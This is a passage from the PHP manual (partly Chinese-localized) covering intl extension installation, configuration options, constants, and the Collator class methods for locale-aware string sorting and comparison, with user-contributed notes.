Otherwise, if PHP and ICU are installed to their default locations, then the additional options to configure are not needed.

User Contributed Notes

Vichingo455 21-Mar-2023 08:07
On XAMPP (Windows) open the php.ini by opening the control panel, selecting config on apache section and selecting PHP

Then add extension=php_intl and restart Apache
Anonymous 06-Jan-2023 12:52
ArchLinux:

pacman -S icu php-intl
domagoj dot starcevic1 at gmail dot com 12-Nov-2022 10:51
On Windows, with Apache server, it might not be enough to uncomment the extension in the php.ini file. You also need to copy icu****.dll files (about five of them) from PHP folder to Apache /bin folder.
Saurabh 21-Jul-2022 11:23
For amazon nginx server (CentOs), try the following:

sudo yum install libicu-devel
sudo yum install php-intl
lee dot wp14 at gmail dot com 28-Dec-2020 01:06
For ubuntu: apt install php-intl
daniel at danielphenry dot com 29-Apr-2015 04:50
To install on windows uncommenting the dll in php.ini is not enough you also need to include several other libraries in your system path (not user path). Found these details here: http://stackoverflow.com/a/6086991/819883
jonwebb at tecbiz dot eu 29-Apr-2014 02:41
On windows servers, open your php.ini (which should be in Program Files/PHP), and simply uncomment the extension.
extension=php_intl.dll
Restart IIS Webserver - done.
jltupac at hotmail dot com 17-May-2013 05:03
Ubuntu:
sudo apt-get install php5-intl


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Intl 配置选项
名字 | 默认 | 可修改范围 | 更新日志
intl.default_locale |  | PHP_INI_ALL |
intl.error_level | 0 | PHP_INI_ALL |
intl.use_exceptions | 0 | PHP_INI_ALL | Available since PECL 3.0.0a1

这是配置指令的简短说明。

intl.default_locale string

The locale that will be used in intl functions when none is specified (either by omitting the corresponding argument or by passing NULL). These are ICU locales, not system locales. The built-in ICU locales and their data can be explored at » http://demo.icu-project.org/icu-bin/locexp.

The default value is empty, which forces the usage of ICU's default locale. Once set, the ini setting cannot be reset to this default value. It is not recommended that this default be relied on, as its effective value depends on the server's environment.

intl.error_level int

The type of the error messages generated when an error occurs in ICU functions. This is a PHP error level, such as E_WARNING. It can be set to 0 in order to inhibit the messages. This does not affect the return values indicating error or the values returned by intl_get_error_code() or by the class specific methods for retrieving error codes and messages.

The default value is 0.

intl.use_exceptions int

If set to true, an exception will be raised whenever an error occurs in an intl function. The exception will be of type IntlException. This is possibly in addition to the error message generated due to intl.error_level.

The default value is false.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

INTL_ICU_VERSION (string)
The current ICU library version as a dotted-decimal string.
INTL_MAX_LOCALE_LEN (int)
Limit on locale length, set to 80 in PHP code. Locale names longer than this limit will not be accepted.
IDNA_DEFAULT (int)
Prohibit processing of unassigned codepoints in the input for IDN functions and do not check if the input conforms to domain name ASCII rules.
IDNA_ALLOW_UNASSIGNED (int)
Allow processing of unassigned codepoints in the input for IDN functions.
IDNA_USE_STD3_RULES (int)
Check if the input for IDN functions conforms to domain name ASCII rules.
IDNA_CHECK_BIDI (int)
Check whether the input conforms to the BiDi rules. Ignored by the IDNA2003 implementation, which always performs this check.
IDNA_CHECK_CONTEXTJ (int)
Check whether the input conforms to the CONTEXTJ rules. Ignored by the IDNA2003 implementation, as this check is new in IDNA2008.
IDNA_NONTRANSITIONAL_TO_ASCII (int)
Option for nontransitional processing in idn_to_ascii(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
IDNA_NONTRANSITIONAL_TO_UNICODE (int)
Option for nontransitional processing in idn_to_utf8(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
INTL_IDNA_VARIANT_2003 (int)
Use IDNA 2003 algorithm in idn_to_utf8() and idn_to_ascii(). This is the default. This constant and using the default has been deprecated as of PHP 7.2.0.
INTL_IDNA_VARIANT_UTS46 (int)
Use UTS #46 algorithm in idn_to_utf8() and idn_to_ascii(). Available as of ICU 4.6.
IDNA_ERROR_EMPTY_LABEL (int)
IDNA_ERROR_LABEL_TOO_LONG (int)
IDNA_ERROR_DOMAIN_NAME_TOO_LONG (int)
IDNA_ERROR_LEADING_HYPHEN (int)
IDNA_ERROR_TRAILING_HYPHEN (int)
IDNA_ERROR_HYPHEN_3_4 (int)
IDNA_ERROR_LEADING_COMBINING_MARK (int)
IDNA_ERROR_DISALLOWED (int)
IDNA_ERROR_PUNYCODE (int)
IDNA_ERROR_LABEL_HAS_DOT (int)
IDNA_ERROR_INVALID_ACE_LABEL (int)
IDNA_ERROR_BIDI (int)
IDNA_ERROR_CONTEXTJ (int)
Errors reported in a bitset returned by the UTS #46 algorithm in idn_to_utf8() and idn_to_ascii().

User Contributed Notes

rg at mejoramos dot com 05-Mar-2023 12:12
to date (MARCH 2023), the version Spanish not give info about the constant `INTL_ICU_VERSION`, take a look to English version, with details about the important constant `INTL_ICU_VERSION`
PHP Guru 03-Oct-2020 03:45
idn_to_ascii('fa?.de');

will return fass.de
(Due to Germans using the ? symbol as a contraction of ss)

idn_to_ascii('fa?.de', IDNA_NONTRANSITIONAL_TO_ASCII);

will return xn--fa-hia.de
(This is the correct behavior too allow fa?.de and fass.de to be registered as different domain names.)

idn_to_utf8('xn--fa-hia.de');

will return fass.de

idn_to_utf8('xn--fa-hia.de', IDNA_NONTRANSITIONAL_TO_UNICODE);

will return fa?.de
(Again this is the correct behavior.)


示例

Table of Contents

  • Basic usage of this extension

User Contributed Notes

There are no user contributed notes for this page.


Basic usage of this extension

Each module provides two kind of APIs: a procedural one and an object oriented one. Both are actually identical and described in the corresponding document.

Note:

All input strings must be in UTF-8 encoding. All output strings are also in UTF-8.

Example #1 Example of using the procedural API

<?php
$coll = collator_create('en_US');
$result = collator_compare($coll, "string#1", "string#2");
?>

Example #2 Example of using the object-oriented API

<?php
$coll = new Collator('en_US');
$al = $coll->getLocale(Locale::ACTUAL_LOCALE);
echo "Actual locale: $al\n";

$formatter = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $formatter->format(1234567);
?>

User Contributed Notes

RoboTamer 05-Jun-2012 08:26
Get the default currency for a country:

<?php
$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('ja_JP', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);
?>


The Collator class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

Provides string comparison capability with support for appropriate locale-sensitive sort orderings.

类摘要

class Collator {
/* 常量 */
const int DEFAULT_VALUE;
const int PRIMARY;
const int SECONDARY;
const int TERTIARY;
const int DEFAULT_STRENGTH;
const int QUATERNARY;
const int IDENTICAL;
const int OFF;
const int ON;
const int SHIFTED;
const int NON_IGNORABLE;
const int LOWER_FIRST;
const int UPPER_FIRST;
const int FRENCH_COLLATION;
const int ALTERNATE_HANDLING;
const int CASE_FIRST;
const int CASE_LEVEL;
const int NORMALIZATION_MODE;
const int STRENGTH;
const int HIRAGANA_QUATERNARY_MODE;
const int NUMERIC_COLLATION;
const int SORT_REGULAR;
const int SORT_STRING;
const int SORT_NUMERIC;
/* 方法 */
public __construct(string $locale)
public asort(array &$array, int $flags = Collator::SORT_REGULAR): bool
public compare(string $string1, string $string2): int|false
public static create(string $locale): ?Collator
public getAttribute(int $attribute): int|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public getLocale(int $type): string|false
public getSortKey(string $string): string|false
public getStrength(): int
public setAttribute(int $attribute, int $value): bool
public setStrength(int $strength): bool
public sortWithSortKeys(array &$array): bool
public sort(array &$array, int $flags = Collator::SORT_REGULAR): bool
}

预定义常量

Collator::FRENCH_COLLATION

Sort strings with different accents from the back of the string. This attribute is automatically set to On for the French locales and a few others. Users normally would not need to explicitly set this attribute. There is a string comparison performance cost when it is set On, but sort key length is unaffected. Possible values are:

  • Collator::ON
  • Collator::OFF(default)
  • Collator::DEFAULT_VALUE

Example #1 FRENCH_COLLATION rules

  • F=OFF cote < coté < c?te < c?té
  • F=ON cote < c?te < coté < c?té

Collator::ALTERNATE_HANDLING

The Alternate attribute is used to control the handling of the so called variable characters in the UCA: whitespace, punctuation and symbols. If Alternate is set to NonIgnorable (N), then differences among these characters are of the same importance as differences among letters. If Alternate is set to Shifted (S), then these characters are of only minor importance. The Shifted value is often used in combination with Strength set to Quaternary. In such a case, whitespace, punctuation, and symbols are considered when comparing strings, but only if all other aspects of the strings (base letters, accents, and case) are identical. If Alternate is not set to Shifted, then there is no difference between a Strength of 3 and a Strength of 4. For more information and examples, see Variable_Weighting in the » UCA. The reason the Alternate values are not simply On and Off is that additional Alternate values may be added in the future. The UCA option Blanked is expressed with Strength set to 3, and Alternate set to Shifted. The default for most locales is NonIgnorable. If Shifted is selected, it may be slower if there are many strings that are the same except for punctuation; sort key length will not be affected unless the strength level is also increased.

Possible values are:

  • Collator::NON_IGNORABLE(default)
  • Collator::SHIFTED
  • Collator::DEFAULT_VALUE

Example #2 ALTERNATE_HANDLING rules

  • S=3, A=N di Silva < Di Silva < diSilva < U.S.A. < USA
  • S=3, A=S di Silva = diSilva < Di Silva < U.S.A. = USA
  • S=4, A=S di Silva < diSilva < Di Silva < U.S.A. < USA

Collator::CASE_FIRST

The Case_First attribute is used to control whether uppercase letters come before lowercase letters or vice versa, in the absence of other differences in the strings. The possible values are Uppercase_First (U) and Lowercase_First (L), plus the standard Default and Off. There is almost no difference between the Off and Lowercase_First options in terms of results, so typically users will not use Lowercase_First: only Off or Uppercase_First. (People interested in the detailed differences between X and L should consult the Collation Customization). Specifying either L or U won't affect string comparison performance, but will affect the sort key length.

Possible values are:

  • Collator::OFF(default)
  • Collator::LOWER_FIRST
  • Collator::UPPER_FIRST
  • Collator:DEFAULT

Example #3 CASE_FIRST rules

  • C=X or C=L "china" < "China" < "denmark" < "Denmark"
  • C=U "China" < "china" < "Denmark" < "denmark"

Collator::CASE_LEVEL

The Case_Level attribute is used when ignoring accents but not case. In such a situation, set Strength to be Primary, and Case_Level to be On. In most locales, this setting is Off by default. There is a small string comparison performance and sort key impact if this attribute is set to be On.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Example #4 CASE_LEVEL rules

  • S=1, E=X role = Role = r?le
  • S=1, E=O role = r?le < Role

Collator::NORMALIZATION_MODE

The Normalization setting determines whether text is thoroughly normalized or not in comparison. Even if the setting is off (which is the default for many locales), text as represented in common usage will compare correctly (for details, see UTN #5). Only if the accent marks are in noncanonical order will there be a problem. If the setting is On, then the best results are guaranteed for all possible text input. There is a medium string comparison performance cost if this attribute is On, depending on the frequency of sequences that require normalization. There is no significant effect on sort key length. If the input text is known to be in NFD or NFKD normalization forms, there is no need to enable this Normalization option.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::STRENGTH

The ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions. For more detailed information, see collator_set_strength() chapter.

Possible values are:

  • Collator::PRIMARY
  • Collator::SECONDARY
  • Collator::TERTIARY(default)
  • Collator::QUATERNARY
  • Collator::IDENTICAL
  • Collator::DEFAULT_VALUE

Collator::HIRAGANA_QUATERNARY_MODE

Compatibility with JIS x 4061 requires the introduction of an additional level to distinguish Hiragana and Katakana characters. If compatibility with that standard is required, then this attribute should be set On, and the strength set to Quaternary. This will affect sort key length and string comparison string comparison performance.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::NUMERIC_COLLATION

When turned on, this attribute generates a collation key for the numeric value of substrings of digits. This is a way to get '100' to sort AFTER '2'.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::DEFAULT_VALUE
Collator::PRIMARY
Collator::SECONDARY
Collator::TERTIARY
Collator::DEFAULT_STRENGTH
Collator::QUATERNARY
Collator::IDENTICAL
Collator::OFF
Collator::ON
Collator::SHIFTED
Collator::NON_IGNORABLE
Collator::LOWER_FIRST
Collator::UPPER_FIRST
Collator::SORT_REGULAR

Collator::SORT_STRING

Collator::SORT_NUMERIC

Table of Contents

  • Collator::asort — Sort array maintaining index association
  • Collator::compare — Compare two Unicode strings
  • Collator::__construct — Create a collator
  • Collator::create — Create a collator
  • Collator::getAttribute — Get collation attribute value
  • Collator::getErrorCode — Get collator's last error code
  • Collator::getErrorMessage — Get text for collator's last error code
  • Collator::getLocale — Get the locale name of the collator
  • Collator::getSortKey — Get sorting key for a string
  • Collator::getStrength — Get current collation strength
  • Collator::setAttribute — Set collation attribute
  • Collator::setStrength — Set collation strength
  • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
  • Collator::sort — Sort array using specified collator

User Contributed Notes

There are no user contributed notes for this page.


Sort array maintaining index association

  • ? Collator
  • Collator::compare ?
  • PHP Manual
  • Collator
  • Sort array maintaining index association

Collator::asort

collator_asort

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::asort -- collator_asort — Sort array maintaining index association

说明

面向对象风格

public Collator::asort(array &$array, int $flags = Collator::SORT_REGULAR): bool

过程化风格

collator_asort(Collator $object, array &$array, int $flags = Collator::SORT_REGULAR): bool

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant. Array elements will have sort order according to current locale rules.

Equivalent to standard PHP asort().

参数

object

Collator object.

array

Array of strings to sort.

flags

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default flags value is Collator::SORT_REGULAR. It is also used if an invalid flags value has been specified.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 collator_asort() example

<?php
$coll = collator_create( 'en_US' );
$arr = array(
'a' => '100',
'b' => '50',
'c' => '7'
);
collator_asort( $coll, $arr, Collator::SORT_NUMERIC );
var_export( $arr );

collator_asort( $coll, $arr, Collator::SORT_STRING );
var_export( $arr );
?>

以上示例会输出：

array (
  'c' => '7',
  'b' => '50',
  'a' => '100',
)array (
  'a' => '100',
  'b' => '50',
  'c' => '7',
)

参见

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

alix dot axel at NOSPAM dot gmail dot com 20-Feb-2011 07:31
For those of you who are looking for a way to integrate natural sorting with the UCA rules this hack seems to work:

<?php

$array = array
(
    '1', '100',
    'al', 'be',
    'Alpha', 'Beta',
    'álpha', 'àlpha', '?lpha',
    'かたかな',
    'img1.png', 'img2.png',
    'img10.png', 'img20.png'
);

echo '<pre>';
print_r(sortIntl($array, true));
echo '</pre>';

function sortIntl($array, $natural = true)
{
    $data = $array;

    if ($natural === true)
    {
        $data = preg_replace_callback('~([0-9]+)~', 'natsortIntl', $data);
    }

    collator_asort(collator_create('root'), $data);

    return array_intersect_key($array, $data);
}

function natsortIntl($number)
{
    return sprintf('%032d', $number);
}

?>

Output:

Array
(
    [0] => 1
    [1] => 100
    [2] => al
    [3] => be
    [4] => Alpha
    [5] => Beta
    [6] => álpha
    [7] => àlpha
    [8] => ?lpha
    [9] => かたかな
    [10] => img1.png
    [11] => img2.png
    [12] => img10.png
    [13] => img20.png
)


Compare two Unicode strings

  • ? Collator::asort
  • Collator::__construct ?
  • PHP Manual
  • Collator
  • Compare two Unicode strings

Collator::compare

collator_compare

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::compare -- collator_compare — Compare two Unicode strings

说明

面向对象风格

public Collator::compare(string $string1, string $string2): int|false

过程化风格

collator_compare(Collator $object, string $string1, string $string2): int|false

Compare two Unicode strings according to collation rules.

参数

object

Collator object.

string1

The first string to compare.

string2

The second string to compare.

返回值

Return comparison result:

  • 1 if string1 is greater than string2 ;

  • 0 if string1 is equal to string2;

  • -1 if string1 is less than string2 .

Returns false on failure.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 collator_compare() example

<?php
$s1 = 'Hello';
$s2 = 'hello';

$coll = collator_create( 'en_US' );
$res = collator_compare( $coll, $s1, $s2 );

if ($res === false) {
echo collator_get_error_message( $coll );
} else if( $res > 0 ) {
echo "s1 is greater than s2\n";
} else if( $res < 0 ) {
echo "s1 is less than s2\n";
} else {
echo "s1 is equal to s2\n";
}
?>

以上示例会输出：

s1 is greater than s2

Example #2 Comparing strings without diacritics or case-sensitivity

<?php
$c = new Collator( 'en' );
$c->setStrength( Collator::PRIMARY );

if ( $c->compare( 'Séan', 'Sean' ) == 0 )
{
echo "The same\n";
}

以上示例会输出：

The same

This example instructs the collator to compare with only taking the base characters into account. The documentation for Collator->setStrength() explains the different strengths.

参见

  • collator_sort() - Sort array using specified collator

User Contributed Notes

erik at eldata dot se 13-Dec-2020 06:53
The Collator class with method compare does what the non existing mb_strcmp, mb_strcasecmp, mb_strnatcmp and mb_strnatcasecmp would do for multibyte strings (UTF8) - but better! :-)

For "case": the Collator is case insensitive due to Collator::CASE_FIRST defaults to Collator::OFF, but can be changed with method setAttribute.

For "nat" (natural sort order for numbers): use method setAttribute with Collator::NUMERIC_COLLATION and Collator:ON to enable.


Create a collator

  • ? Collator::compare
  • Collator::create ?
  • PHP Manual
  • Collator
  • Create a collator

Collator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::__construct — Create a collator

说明

public Collator::__construct(string $locale)

Creates a new instance of Collator.

参数

locale

The locale whose collation rules should be used. Special values for locales can be passed in - if an empty string is passed for the locale, the default locale's collation rules will be used. If "root" is passed, » UCA rules will be used.

The locale attribute is typically the most important attribute for correct sorting and matching, according to the user expectations in different countries and regions. The default » UCA ordering will only sort a few languages such as Dutch and Portuguese correctly ("correctly" meaning according to the normal expectations for users of the languages). Otherwise, you need to supply the locale to UCA in order to properly collate text for a given language. Thus a locale needs to be supplied so as to choose a collator that is correctly tailored for that locale. The choice of a locale will automatically preset the values for all of the attributes to something that is reasonable for that locale. Thus most of the time the other attributes do not need to be explicitly set. In some cases, the choice of locale will make a difference in string comparison performance and/or sort key length.

错误／异常

Returns an "empty" object on error. Use intl_get_error_code() and/or intl_get_error_message() to know what happened.

示例

Example #1 Collator::__construct() example

<?php
$coll = new Collator('en_CA');
?>

参见

  • Collator::create() - Create a collator
  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Create a collator

  • ? Collator::__construct
  • Collator::getAttribute ?
  • PHP Manual
  • Collator
  • Create a collator

Collator::create

collator_create

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::create -- collator_create — Create a collator

说明

面向对象风格

public static Collator::create(string $locale): ?Collator

过程化风格

collator_create(string $locale): ?Collator

The strings will be compared using the options already specified.

参数

locale

The locale containing the required collation rules. Special values for locales can be passed in - if an empty string is passed for the locale, the default locale collation rules will be used. If "root" is passed, » UCA rules will be used.

返回值

Return new instance of Collator object, or null on error.

示例

Example #1 collator_create() example

<?php
$coll = collator_create( 'en_US' );

if( !isset( $coll ) ) {
printf( "Collator creation failed: %s\n", intl_get_error_message() );
exit( 1 );
}
?>

参见

  • Collator::__construct() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Get collation attribute value

  • ? Collator::create
  • Collator::getErrorCode ?
  • PHP Manual
  • Collator
  • Get collation attribute value

Collator::getAttribute

collator_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getAttribute -- collator_get_attribute — Get collation attribute value

说明

面向对象风格

public Collator::getAttribute(int $attribute): int|false

过程化风格

collator_get_attribute(Collator $object, int $attribute): int|false

Get a value of an integer collator attribute.

参数

object

Collator object.

attribute

Attribute to get value for.

返回值

Attribute value, 或者在失败时返回 false.

示例

Example #1 collator_get_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if( $val === false )
{
// Handle error.
}
?>

参见

  • Collator constants
  • collator_set_attribute() - Set collation attribute
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.


Get collator's last error code

  • ? Collator::getAttribute
  • Collator::getErrorMessage ?
  • PHP Manual
  • Collator
  • Get collator's last error code

Collator::getErrorCode

collator_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getErrorCode -- collator_get_error_code — Get collator's last error code

说明

面向对象风格

public Collator::getErrorCode(): int|false

过程化风格

collator_get_error_code(Collator $object): int|false

参数

object

Collator object.

返回值

Error code returned by the last Collator API function call, 或者在失败时返回 false.

示例

Example #1 collator_get_error_code() example

<?php
$coll = collator_create( 'en_US' );
if( collator_get_attribute( $coll, Collator::FRENCH_COLLATION ) === false )
handle_error( collator_get_error_code() );
?>

参见

  • collator_get_error_message() - Get text for collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get text for collator's last error code

  • ? Collator::getErrorCode
  • Collator::getLocale ?
  • PHP Manual
  • Collator
  • Get text for collator's last error code

Collator::getErrorMessage

collator_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getErrorMessage -- collator_get_error_message — Get text for collator's last error code

说明

面向对象风格

public Collator::getErrorMessage(): string|false

过程化风格

collator_get_error_message(Collator $object): string|false

Retrieves the message for the last error.

参数

object

Collator object.

返回值

Description of an error occurred in the last Collator API function call, 或者在失败时返回 false.

示例

Example #1 collator_get_error_message() example

<?php
$coll = collator_create( 'lt' );
if( collator_compare( $coll, 'y', 'k' ) === false ) {
echo collator_get_error_message( $coll );
}
?>

参见

  • collator_get_error_code() - Get collator's last error code

User Contributed Notes

There are no user contributed notes for this page.


Get the locale name of the collator

  • ? Collator::getErrorMessage
  • Collator::getSortKey ?
  • PHP Manual
  • Collator
  • Get the locale name of the collator

Collator::getLocale

collator_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getLocale -- collator_get_locale — Get the locale name of the collator

说明

面向对象风格

public Collator::getLocale(int $type): string|false

过程化风格

collator_get_locale(Collator $object, int $type): string|false

Get collector locale name.

参数

object

Collator object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE and Locale::ACTUAL_LOCALE, respectively).

返回值

Real locale name from which the collation data comes. If the collator was instantiated from rules or an error occurred, returns false.

示例

Example #1 collator_get_locale() example

<?php
$coll = collator_create( 'en_US_California' );
$res_val = collator_get_locale( $coll, Locale::VALID_LOCALE );
$res_act = collator_get_locale( $coll, Locale::ACTUAL_LOCALE );
printf( "Valid locale name: %s\nActual locale name: %s\n",
$res_val, $res_act );
?>

以上示例会输出：

Requested locale name: en_US_California
Valid locale name: en_US
Actual locale name: en

参见

  • collator_create() - Create a collator

User Contributed Notes

There are no user contributed notes for this page.


Get sorting key for a string

  • ? Collator::getLocale
  • Collator::getStrength ?
  • PHP Manual
  • Collator
  • Get sorting key for a string

Collator::getSortKey

collator_get_sort_key

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 1.0.3)

Collator::getSortKey -- collator_get_sort_key — Get sorting key for a string

说明

面向对象风格

public Collator::getSortKey(string $string): string|false

过程化风格

collator_get_sort_key(Collator $object, string $string): string|false

Return collation key for a string. Collation keys can be compared directly instead of strings, though are implementation specific and may change between ICU library versions. Sort keys are generally only useful in databases or other circumstances where function calls are extremely expensive.

参数

object

Collator object.

string

The string to produce the key from.

返回值

Returns the collation key for the string, 或者在失败时返回 false.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 collator_get_sort_key()example

<?php
$s1 = 'Hello';

$coll = collator_create('en_US');
$res = collator_get_sort_key($coll, $s1);

echo bin2hex($res);
?>

以上示例的输出类似于：

3832404046010901dc08

参见

  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

There are no user contributed notes for this page.


Get current collation strength

  • ? Collator::getSortKey
  • Collator::setAttribute ?
  • PHP Manual
  • Collator
  • Get current collation strength

Collator::getStrength

collator_get_strength

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::getStrength -- collator_get_strength — Get current collation strength

说明

面向对象风格

public Collator::getStrength(): int

过程化风格

collator_get_strength(Collator $object): int

参数

object

Collator object.

返回值

Returns current collation strength, 或者在失败时返回 false.

示例

Example #1 collator_get_strength() example

<?php
$coll = collator_create( 'en_US' );
$strength = collator_get_strength( $coll );
?>

参见

  • Collator constants
  • collator_set_strength() - Set collation strength
  • collator_get_attribute() - Get collation attribute value

User Contributed Notes

There are no user contributed notes for this page.


Set collation attribute

  • ? Collator::getStrength
  • Collator::setStrength ?
  • PHP Manual
  • Collator
  • Set collation attribute

Collator::setAttribute

collator_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::setAttribute -- collator_set_attribute — Set collation attribute

说明

面向对象风格

public Collator::setAttribute(int $attribute, int $value): bool

过程化风格

collator_set_attribute(Collator $object, int $attribute, int $value): bool

参数

object

Collator object.

attribute

Attribute.

value

Attribute value.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 collator_set_attribute() example

<?php
$coll = collator_create( 'en_CA' );
$val = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if ($val === false) {
// Handle error.
} elseif ($val === Collator::ON) {
// Do something useful.
}
?>

参见

  • Collator constants
  • collator_get_attribute() - Get collation attribute value
  • collator_set_strength() - Set collation strength

User Contributed Notes

galiaf1987 at gmail dot com 20-Jun-2023 05:13
//realy example
$collator = new \Collator('en');
$collator->setAttribute(\Collator::NORMALIZATION_MODE, \Collator::ON);


Set collation strength

  • ? Collator::setAttribute
  • Collator::sortWithSortKeys ?
  • PHP Manual
  • Collator
  • Set collation strength

Collator::setStrength

collator_set_strength

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Collator::setStrength -- collator_set_strength — Set collation strength

说明

面向对象风格

public Collator::setStrength(int $strength): bool

过程化风格

collator_set_strength(Collator $object, int $strength): bool

The » ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions.

  1. Primary Level: Typically, this is used to denote differences between base characters (for example, "a" < "b"). It is the strongest difference. For example, dictionaries are divided into different sections by base character. This is also called the level 1 strength.

  2. Secondary Level: Accents in the characters are considered secondary differences (for example, "as" < "às" < "at"). Other differences between letters can also be considered secondary differences, depending on the language. A secondary difference is ignored when there is a primary difference anywhere in the strings. This is also called the level 2 strength.

    Note:

    Note: In some languages (such as Danish), certain accented letters are considered to be separate base characters. In most languages, however, an accented letter only has a secondary difference from the unaccented version of that letter.

  3. Tertiary Level: Upper and lower case differences in characters are distinguished at the tertiary level (for example, "ao" < "Ao" < "aò"). In addition, a variant of a letter differs from the base form on the tertiary level (such as "A" and " "). Another example is the difference between large and small Kana. A tertiary difference is ignored when there is a primary or secondary difference anywhere in the strings. This is also called the level 3 strength.

  4. Quaternary Level: When punctuation is ignored (see Ignoring Punctuations ) at levels 1-3, an additional level can be used to distinguish words with and without punctuation (for example, "ab" < "a-b" < "aB"). This difference is ignored when there is a primary, secondary or tertiary difference. This is also known as the level 4 strength. The quaternary level should only be used if ignoring punctuation is required or when processing Japanese text (see Hiragana processing).

  5. Identical Level: When all other levels are equal, the identical level is used as a tiebreaker. The Unicode code point values of the NFD form of each string are compared at this level, just in case there is no difference at levels 1-4. For example, Hebrew cantillation marks are only distinguished at this level. This level should be used sparingly, as only code point values differences between two strings is an extremely rare occurrence. Using this level substantially decreases the performance for both incremental comparison and sort key generation (as well as increasing the sort key length). It is also known as level 5 strength.

For example, people may choose to ignore accents or ignore accents and case when searching for text. Almost all characters are distinguished by the first three levels, and in most locales the default value is thus Tertiary. However, if Alternate is set to be Shifted, then the Quaternary strength can be used to break ties among whitespace, punctuation, and symbols that would otherwise be ignored. If very fine distinctions among characters are required, then the Identical strength can be used (for example, Identical Strength distinguishes between the Mathematical Bold Small A and the Mathematical Italic Small A.). However, using levels higher than Tertiary the Identical strength result in significantly longer sort keys, and slower string comparison performance for equal strings.

参数

object

Collator object.

strength

Strength to set.

Possible values are:

  • Collator::PRIMARY

  • Collator::SECONDARY

  • Collator::TERTIARY

  • Collator::QUATERNARY

  • Collator::IDENTICAL

  • Collator::DEFAULT_STRENGTH

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 collator_set_strength() example

<?php
$arr = array( 'aò', 'Ao', 'ao' );
$coll = collator_create( 'en_US' );

// Sort array using default strength.
collator_sort( $coll, $arr );
var_export( $arr );

// Sort array using primary strength.
collator_set_strength( $coll, Collator::PRIMARY );
collator_sort( $coll, $arr );
var_export( $arr );
?>

以上示例会输出：

array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'aò',
)
array (
  0 => 'aò',
  1 => 'Ao',
  2 => 'ao',
)

参见

  • Collator constants
  • collator_get_strength() - Get current collation strength

User Contributed Notes

There are no user contributed notes for this page.


Sort array using specified collator and sort keys

  • ? Collator::setStrength
  • Collator::sort ?
  • PHP Manual
  • Collator
  • Sort array using specified collator and sort keys

Collator::sortWithSortKeys

collator_sort_with_sort_keys

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

